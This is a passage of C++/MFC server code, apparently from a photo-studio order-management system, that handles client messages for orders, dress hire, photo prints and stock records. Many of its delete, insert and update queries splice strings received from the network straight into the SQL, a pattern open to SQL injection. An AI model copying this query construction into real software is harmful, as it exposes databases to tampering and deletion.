						CRecordset myset(m_pConndb);
						myset.Open (CRecordset::forwardOnly, sql);
						if(!myset.IsEOF())
						{
							myset.GetFieldValue ("cot", sql);
							if(sql.GetLength ()>3)	
								count=atol(sql.Right (3));
							else
								count=0;
						}
						else
							count=0;
						count++;
						myset.Close();
						CString newid;

						newid.Format ("%s-%03d", date, count);
						//		for(int i=1; i<2/*m_seldressarray.GetSize ()*/; i++)
						for(int i=1; i<m_seldressarray.GetSize (); i++)
						{  
							sql=m_seldressarray.ElementAt (i);
							sql.Replace (id, newid);
							MyExecuteSQL ( sql);
						}
						sql="update dindan set time1='"+date2+"' where id='"+newid+"'";
						MyExecuteSQL ( sql);
						count=888;
					}
					DWORD szDataBuf[2]={count,0};
					int nDataLen=sizeof(DWORD);
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;
					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;
					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==7)//界面
				{
					CArray<DWORD,DWORD>dataarray;
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					{
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						dataarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
					}

					DWORD pos=dataarray.ElementAt (0);
					DWORD leng1,leng2,leng3,leng4,leng5,leng6,leng7,leng8;

					leng1=dataarray.ElementAt (1);
					leng2=dataarray.ElementAt (2);
					leng3=dataarray.ElementAt (3);
					leng4=dataarray.ElementAt (4);
					leng5=dataarray.ElementAt (5);
					leng6=dataarray.ElementAt (6);
					leng7=dataarray.ElementAt (7);
					leng8=dataarray.ElementAt (8);

					if( pos %4==0)
						DeCodelong1( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 );
					else if( pos %4==1)
						DeCodelong2( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 );
					else if( pos %4==2)
						DeCodelong3( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 );
					else
						DeCodelong4( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 );
					DWORD rcpos[32];
					for(int i=0; i<32; i++)
						rcpos[i]=dataarray.ElementAt (9+i);
					i=0;
					DeCodelong1((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]);
					i=8;
					DeCodelong2((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]);
					i=16;
					DeCodelong3((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]);
					i=24;
					DeCodelong4((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]);

					DWORD nPicCount,nPicCount2;
					nPicCount=dataarray.ElementAt (41);
					nPicCount2=dataarray.ElementAt (42);
					DeCodePicCount((long&)nPicCount, (long&)nPicCount2);
					DWORD bkleng,bkleng2;
					bkleng=dataarray.ElementAt (43);
					bkleng2=dataarray.ElementAt (44);
					DeCodePicCount((long&)bkleng, (long&)bkleng2);
					ENCODE_START
						dataarray.SetAt (1, leng1);
					dataarray.SetAt (2, leng2);
					dataarray.SetAt (3, leng3);
					dataarray.SetAt (4, leng4);
					dataarray.SetAt (5, leng5);
					dataarray.SetAt (6, leng6);
					dataarray.SetAt (7, leng7);
					dataarray.SetAt (8, leng8);
					for( i=0; i<32; i++)
						dataarray.SetAt (9+i, rcpos[i]);
					dataarray.SetAt (41, nPicCount);
					dataarray.SetAt (42, nPicCount2);
					dataarray.SetAt (43, bkleng);
					dataarray.SetAt (44, bkleng2);
					ENCODE_END
						int length=0;
					BYTE *pData = NULL;

					{
						CMemFile memfile;
						CArchive ar(&memfile, CArchive::store);
						ENCODE_START
							dataarray.Serialize (ar);
						ar.Close();
						length=memfile.GetLength ();
						pData = memfile.Detach();
						ENCODE_END

						BYTE *szDataBuf=pData;
						int nDataLen=length;
						dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

						pSendData = new BYTE[dwDataLen];
						pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

						memset(pChatMessage, 0x00, dwDataLen);
						memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
						pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
						pChatMessage->tCommonMsg.wMessageId = wMessageId;
						pChatMessage->dwFromUserID = dwFromUserID;
						pChatMessage->dwToUserID = nDataLen;
						pChatMessage->wMessageLen = nDataLen;
						memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
					}
				}
				else if(dwToUserID==8)//订单修改商品
				{
					ENCODE_START
					{
						CArray<CStringArray, CStringArray>g_List1array;

						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;
						CString filter,temp;
						if(g_List1array.ElementAt(0).GetSize ()>1)
						{
							for(  ii=0; ii<g_List1array.GetSize (); ii++)
							{
								if(g_List1array.ElementAt (ii).GetSize ()==2)continue;
								if(g_List1array.ElementAt (ii).GetSize ()==1)continue;
								if(g_List1array.ElementAt (ii).ElementAt (1)!="")
								{
									temp.Format ("and autoid<>%d ", atol(g_List1array.ElementAt (ii).ElementAt (1)) );
									filter+=temp;
								}
							}
						}
						sql="delete from dindansp where id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and kind<>'4' and kind<>'5' "+filter;
						MyExecuteSQL ( sql);


						filter="";
						if(g_List1array.ElementAt(0).GetSize ()>1)
						{
							for(  ii=0; ii<g_List1array.GetSize (); ii++)
							{
								if(g_List1array.ElementAt (ii).GetSize ()!=2)continue;

								temp.Format ("and name<>'%s' ", g_List1array.ElementAt (ii).ElementAt (1) );
								filter+=temp;	
							}
						}
						sql="delete from dindanjd where id='"+g_List1array.ElementAt(0).ElementAt(0)+"' "+filter;
						MyExecuteSQL ( sql);	

						CRecordset myset(m_pConndb);
						sql="select name from dindanjd where id='"+g_List1array.ElementAt(0).ElementAt(0)+"'";
						myset.Open (CRecordset::forwardOnly, sql);
						CStringArray idarray2;
						while(!myset.IsEOF())
						{
							myset.GetFieldValue ("name", sql);
							idarray2.Add (sql);
							myset.MoveNext();
						}
						myset.Close();


						CString clerk=g_List1array.ElementAt(count-1).ElementAt(0);
						CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S");
						CString sql2;
						if(g_List1array.ElementAt(0).GetSize ()>1)
						{
							for(ii=0; ii<g_List1array.GetSize (); ii++)
							{
								if(g_List1array.ElementAt (ii).GetSize ()==2)
								{
									if(::FindArray (&idarray2, g_List1array.ElementAt(ii).ElementAt(1))!=-1)continue;
									sql.Format ("insert into dindanjd([id],[name],[status])values('%s','%s','未拍')",
										g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1));
									MyExecuteSQL ( sql);
								}
								else if(g_List1array.ElementAt (ii).GetSize ()>1)
								{
									if(g_List1array.ElementAt (ii).ElementAt (1)!="")
									{
										sql.Format ("update dindansp set [spid]='%s',[name]='%s',[shuliang]='%s',[price]='%s',[urgent]='%s',[taketime]='%s' where [autoid]=%d",
											g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),
											g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(4),
											g_List1array.ElementAt(ii).ElementAt(7),g_List1array.ElementAt(ii).ElementAt(8),atol(g_List1array.ElementAt(ii).ElementAt(1)));
									}
									else
									{
										if(g_List1array.ElementAt (ii).GetSize ()==9)
											sql.Format ("insert into dindansp([id],[spid],[name],[price],[shuliang],[kind],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
											g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2),
														g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),
														g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(6),
														"未完成","未取",g_List1array.ElementAt(ii).ElementAt(7),g_List1array.ElementAt(ii).ElementAt(8));
										else//成长套系
											sql.Format ("insert into dindansp([id],[spid],[name],[price],[shuliang],[kind],[status1],[status2],[urgent],[taketime],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
											g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2),
											g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),
											g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(6),
											"未完成","未取",g_List1array.ElementAt(ii).ElementAt(7),g_List1array.ElementAt(ii).ElementAt(8),
														g_List1array.ElementAt(ii).ElementAt(9));
									}
									///////////////
									sql2.Format ("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')",
										g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5),date,clerk);			
									MyExecuteSQL ( sql2);	
									MyExecuteSQL ( sql);
									///////////////
								}
							}
						}

					}
					ENCODE_END
						BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==41)
				{
					/* 	CArray<CStringArray, CStringArray>g_List1array;
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					int count;
					memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
					CMemFile memfile;
					memfile.Attach (szChatMessage, nMessageLen);
					CArchive ar(&memfile, CArchive::load);
					g_List1array.SetSize(count);
					for(int ii=0; ii<g_List1array.GetSize (); ii++)
					{
					g_List1array.ElementAt (ii).Serialize (ar);
					}
					ar.Close();
					memfile.Detach ();*/

					CString autorunpath=g_mainpath+"\\branchdindan.dat";
					CFile fp;
					if(fp.Open(autorunpath, CFile::modeCreate|CFile::modeWrite))
					{
						void *pData=ptChatMessage->byFileContent;
						fp.Write(pData, nMessageLen);
						fp.Close();
					}

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==9)
				{
					ENCODE_START	
					{
						CArray<CStringArray, CStringArray>g_List1array;

						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;

						CString id;
						CArray<CStringArray, CStringArray>storeinfoarray;
						{
							CRecordset myset(m_pConndb);
							CString	sql="select count(*) as cot from [storeinfo]";
							myset.Open (CRecordset::forwardOnly, sql);
							myset.GetFieldValue ("cot", sql);
							myset.Close();
							storeinfoarray.SetSize(atol(sql) , 1 );
							CGoodsinfoSet rsSt;	rsSt.m_pDatabase=m_pConndb;
							rsSt.Open();
							DWORD ii=0;
							while(!rsSt.IsEOF())
							{
								storeinfoarray.ElementAt (ii).RemoveAll ();
								storeinfoarray.ElementAt (ii).Add(rsSt.m_type) ;
								storeinfoarray.ElementAt (ii).Add(rsSt.m_name) ;
								ii++;
								rsSt.MoveNext();if(storeinfoarray.GetSize ()<=ii)break;
							}
							rsSt.Close();storeinfoarray.SetSize(ii , 1 );
						}
						CArray<CStringArray, CStringArray>storeinfoarray2;
						{
							for(int ii=0; ii<g_List1array.GetSize (); ii++)
							{
								if(g_List1array.ElementAt(ii).GetSize ()==5)
								{
									id=g_List1array.ElementAt(ii).ElementAt(0)+"(订单使用)";break;
								}
							}

							CRecordset myset(m_pConndb);
							CString	sql="select count(*) as cot from [storeinfo2] where [id]='"+id+"'";
							myset.Open (CRecordset::forwardOnly, sql);
							myset.GetFieldValue ("cot", sql);
							myset.Close(); 
							storeinfoarray2.SetSize(atol(sql) , 1 );
							CGoodsinfoSet2 rsSt;	rsSt.m_pDatabase=m_pConndb;
							rsSt.m_strFilter = "[id]='"+id+"'";
							rsSt.Open();
							ii=0;
							while(!rsSt.IsEOF())
							{
								storeinfoarray2.ElementAt (ii).RemoveAll ();
								storeinfoarray2.ElementAt (ii).Add(rsSt.m_type) ;
								storeinfoarray2.ElementAt (ii).Add(rsSt.m_name) ;
								ii++;
								rsSt.MoveNext();if(storeinfoarray2.GetSize ()<=ii)break;
							}
							rsSt.Close();storeinfoarray2.SetSize(ii , 1 );
						}

						for(ii=0; ii<g_List1array.GetSize (); ii++)
						{
							if(g_List1array.ElementAt(ii).GetSize ()==5)continue;
#ifdef LKAY_VERSION
							sql.Format ("update dindansp set status3='%s',status4='%s',status1='%s',status2='%s',date1='%s',name1='%s',date2='%s',name2='%s',date3='%s',name3='%s',date4='%s',name4='%s',status5='%s',status6='%s',date5='%s',name5='%s',date6='%s',name6='%s' where autoid=%d",
										g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),
										g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(9),g_List1array.ElementAt(ii).ElementAt(10),
										g_List1array.ElementAt(ii).ElementAt(11),g_List1array.ElementAt(ii).ElementAt(12),g_List1array.ElementAt(ii).ElementAt(13),
										g_List1array.ElementAt(ii).ElementAt(14),g_List1array.ElementAt(ii).ElementAt(15),g_List1array.ElementAt(ii).ElementAt(16),
										g_List1array.ElementAt(ii).ElementAt(23),g_List1array.ElementAt(ii).ElementAt(24),g_List1array.ElementAt(ii).ElementAt(25),
										g_List1array.ElementAt(ii).ElementAt(26),g_List1array.ElementAt(ii).ElementAt(27),g_List1array.ElementAt(ii).ElementAt(28),
										atol(g_List1array.ElementAt(ii).ElementAt(6)));
#else
							sql.Format ("update dindansp set status3='%s',status4='%s',status1='%s',status2='%s',date1='%s',name1='%s',date2='%s',name2='%s',date3='%s',name3='%s',date4='%s',name4='%s' where autoid=%d",
								g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),
								g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(9),g_List1array.ElementAt(ii).ElementAt(10),
								g_List1array.ElementAt(ii).ElementAt(11),g_List1array.ElementAt(ii).ElementAt(12),g_List1array.ElementAt(ii).ElementAt(13),g_List1array.ElementAt(ii).ElementAt(14),g_List1array.ElementAt(ii).ElementAt(15),g_List1array.ElementAt(ii).ElementAt(16),atol(g_List1array.ElementAt(ii).ElementAt(6)));
#endif
							MyExecuteSQL ( sql); 
						}
						for(ii=0; ii<g_List1array.GetSize (); ii++)
						{
							if(g_List1array.ElementAt(ii).GetSize ()!=5)continue;//加库存

							if(g_List1array.ElementAt(ii).ElementAt(4)!="1")continue; 
							CString id=g_List1array.ElementAt(ii).ElementAt(0)+"(订单使用)";
							CString lb=g_List1array.ElementAt(ii).ElementAt(1);
							CString name=g_List1array.ElementAt(ii).ElementAt(2);
							CString count=g_List1array.ElementAt(ii).ElementAt(3);

							BOOL bNoReg=1;
							for(int bb=0; bb<storeinfoarray.GetSize (); bb++)
							{
								if(storeinfoarray.ElementAt (bb).ElementAt (0)==lb && storeinfoarray.ElementAt (bb).ElementAt (1)==name)
								{
									bNoReg=0;break;
								}
							}
							if(bNoReg)continue;

							BOOL bExist=0;
							for(  bb=0; bb<storeinfoarray2.GetSize (); bb++)
							{
								if(storeinfoarray2.ElementAt (bb).ElementAt (0)==lb && storeinfoarray2.ElementAt (bb).ElementAt (1)==name)
								{
									bExist=1;
									//AfxMessageBox("存在");	
									break;
								}
							}
							if(bExist)continue;

							CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d");
							sql="insert into storeinfo2([id],[type],[name],[count],[date],[clerk])values('"+id+"','"+lb+"','"+name+"','"+count+"','"+date+"','系统')";
							MyExecuteSQL ( sql); 
						}

					}
					ENCODE_END
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if (dwToUserID == 10)		// data3字段;
				{
					ENCODE_START

					CRstUpdate rsSt;	
					rsSt.m_pDatabase=m_pConndb;
					rsSt.Open ();
					if(rsSt.IsEOF())
						rsSt.AddNew ();
					else
						rsSt.Edit ();
					rsSt.data3.m_dwDataLength=nMessageLen;
					HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); 
					rsSt.data3.m_hData=GlobalLock(hGlobal); 
					memcpy(rsSt.data3.m_hData, ptChatMessage->byFileContent, nMessageLen);
					rsSt.SetFieldDirty(&rsSt.data3);
					rsSt.SetFieldNull(&rsSt.data3,FALSE);
					rsSt.Update();
					GlobalUnlock(hGlobal); 
					rsSt.Close();
					ENCODE_END

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if (dwToUserID == 11)		// data4字段;
				{
					ENCODE_START

					CRstUpdate rsSt;	
					rsSt.m_pDatabase=m_pConndb;
					rsSt.Open ();
					if(rsSt.IsEOF())
						rsSt.AddNew ();
					else
						rsSt.Edit ();
					rsSt.data4.m_dwDataLength=nMessageLen;
					HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); 
					rsSt.data4.m_hData=GlobalLock(hGlobal); 
					memcpy(rsSt.data4.m_hData, ptChatMessage->byFileContent, nMessageLen);
					rsSt.SetFieldDirty(&rsSt.data4);
					rsSt.SetFieldNull(&rsSt.data4,FALSE);
					rsSt.Update();
					GlobalUnlock(hGlobal); 
					rsSt.Close();
					ENCODE_END

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if (dwToUserID == 12)		// data5字段;
				{
					ENCODE_START

					CRstUpdate rsSt;	
					rsSt.m_pDatabase=m_pConndb;
					rsSt.Open ();
					if(rsSt.IsEOF())
						rsSt.AddNew ();
					else
						rsSt.Edit ();
					rsSt.data5.m_dwDataLength=nMessageLen;
					HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); 
					rsSt.data5.m_hData=GlobalLock(hGlobal); 
					memcpy(rsSt.data5.m_hData, ptChatMessage->byFileContent, nMessageLen);
					rsSt.SetFieldDirty(&rsSt.data5);
					rsSt.SetFieldNull(&rsSt.data5,FALSE);
					rsSt.Update();
					GlobalUnlock(hGlobal); 
					rsSt.Close();
					ENCODE_END

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if (dwToUserID == 13)	// Jeff.处理相片冲印的保存结果
				{
					ENCODE_START

					{
						CArray<CStringArray, CStringArray>g_List1array;
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;

						sql="delete from photoprint where id='"+g_List1array.ElementAt(0).ElementAt(0)+"' ";
						MyExecuteSQL ( sql);
						if(g_List1array.ElementAt(0).GetSize ()>1)
						{
							for(ii=0; ii<g_List1array.GetSize (); ii++)
							{
								sql.Format ("insert into photoprint([id],[name],[count],[area],[status1],[time1],[status2],[time2])values('%s','%s','%s','%s','%s','%s','%s','%s')",
									g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2),
									g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),
									g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7));
								MyExecuteSQL ( sql);
							}
						}
					}
					ENCODE_END
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;
					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);

				}
				else if(dwToUserID==14)//read BK
				{
					CArray<DWORD,DWORD>dataarray;
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					{
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						dataarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
					}

					DWORD leng1,leng2;
					leng1=dataarray.ElementAt (0);
					leng2=dataarray.ElementAt (1);

					DeCodePicCount((long&)leng1, (long&)leng2);

					dataarray.SetAt (0, leng1);
					dataarray.SetAt (1, leng2);

					{
						CMemFile memfile;
						CArchive ar(&memfile, CArchive::store);
						dataarray.Serialize (ar);
						ar.Close();
						int length=memfile.GetLength ();
						BYTE *pData = memfile.Detach();

						BYTE *szDataBuf=pData;
						int nDataLen=length;
						dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

						pSendData = new BYTE[dwDataLen];
						pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

						memset(pChatMessage, 0x00, dwDataLen);
						memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
						pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
						pChatMessage->tCommonMsg.wMessageId = wMessageId;
						pChatMessage->dwFromUserID = dwFromUserID;
						pChatMessage->dwToUserID = nDataLen;
						pChatMessage->wMessageLen = nDataLen;
						memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
					}
				}
				//	else if(dwToUserID==15)15禁止使用,被用于信息服务器
				else if(dwToUserID==20)
				{
					ENCODE_START

					{
						CStringArray m_seldressarray;	
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						m_seldressarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
						CString sql,sql2;
						CString id=m_seldressarray.ElementAt (3);

						CRecordset myset(m_pConndb);
						sql="select [no] from [dresshiredata] where [id]='"+id+"'";
						myset.Open (CRecordset::forwardOnly, sql);
						CStringArray noarray;
						while(!myset.IsEOF())
						{
							myset.GetFieldValue ("no", sql);
							if(FindArray(&noarray, sql)==-1)
								noarray.Add (sql);
							myset.MoveNext();
						}
						myset.Close();

						sql2="delete from [dresshiredata] where [id]='"+id+"' and [no]";
						int count=atoi(m_seldressarray.ElementAt (m_seldressarray.GetSize ()-3));
						CString date1=m_seldressarray.ElementAt (m_seldressarray.GetSize ()-2);
						CString date2=m_seldressarray.ElementAt (m_seldressarray.GetSize ()-1);
						for(int i=0; i<count; i+=6)
						{
							//if(m_seldressarray.ElementAt (i+4).IsEmpty ())
							{
								if(FindArray(&noarray, m_seldressarray.ElementAt (i))!=-1)
									sql.Format ("update [dresshiredata] set [date1]='%s',[date2]='%s' where [id]='%s' and [no]='%s'", date1, date2, id, m_seldressarray.ElementAt (i));
								else
									sql.Format("insert into [dresshiredata]([id],[no],[name],[count],[hireorsale],[isreturn],[date1],[date2])values('%s','%s','%s','%s','%s','未还','%s','%s')", 
									id, m_seldressarray.ElementAt (i),m_seldressarray.ElementAt (i+1), m_seldressarray.ElementAt (i+2), m_seldressarray.ElementAt (i+5),date1,date2);
								MyExecuteSQL ( sql);
								sql2+=" <>'"+m_seldressarray.ElementAt (i)+"' and [no]";
							}
						}
						sql2.TrimRight (" and [no]");
						MyExecuteSQL ( sql2);

						for(i=count; i<m_seldressarray.GetSize ()-3; i++)
						{
							UpdateDressBalance(m_seldressarray.ElementAt (i));
						}
					}
					ENCODE_END

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
